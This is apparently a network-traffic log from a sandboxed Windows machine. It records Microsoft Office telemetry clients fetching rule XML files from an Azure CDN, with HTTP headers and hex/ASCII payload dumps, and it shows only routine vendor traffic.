2024-10-29 12:08:33 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:33 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120833Z-16849878b78g2m84h2v9sta29000000005eg000000005tfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	60453	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:33 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dbd91de3-001e-002b-2827-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120833Z-r197bdfb6b46kmj4701qkq602400000005kg000000005rxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	60452	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:33 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f9fbd553-601e-003e-5c2e-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120833Z-16849878b78zqkvcwgr6h55x9n00000005ug00000000gr8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	60457	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:34 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 4f86bdfb-c01e-00ad-5e84-25a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120834Z-15b8d89586fzhrwgk23ex2bvhw00000009d000000000561k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	60458	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:34 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:34 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120834Z-16849878b785dznd7xpawq9gcn00000007y0000000005bhd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:34 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	60459	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:34 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:34 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:34 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: ba33cc4f-e01e-0052-2e6f-28d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120834Z-15b8d89586fdmfsg1u7xrpfws00000000arg0000000078p3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:34 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	60456	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:34 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:34 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 8a3f5c5e-301e-000c-55dc-26323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120834Z-17c5cb586f6fqqst87nqkbsx1c00000004xg000000004rzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:35 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	60455	40.69.42.241	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:34 UTC	142	OUT	GET /clientwebservice/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: fe3cr.delivery.mp.microsoft.com
2024-10-29 12:08:35 UTC	234	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 12:08:35 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	60460	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:35 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:35 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120835Z-16849878b78j5kdg3dndgqw0vg000000088g000000004z6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:35 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	60461	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:35 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:35 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 218b1b25-701e-005c-4b21-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120835Z-r197bdfb6b466qclztvgs64z10000000081g000000007zus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:35 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	60462	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:35 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:35 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:35 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 6768b437-a01e-00ab-174d-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120835Z-16849878b78p8hrf1se7fucxk800000007cg000000007u5f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:35 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	60463	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:35 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:35 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:35 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120835Z-16849878b78p49s6zkwt11bbkn0000000650000000009535 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:35 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	60464	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:35 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:35 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:35 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120835Z-16849878b78wv88bk51myq5vxc00000006sg0000000093cd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:35 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 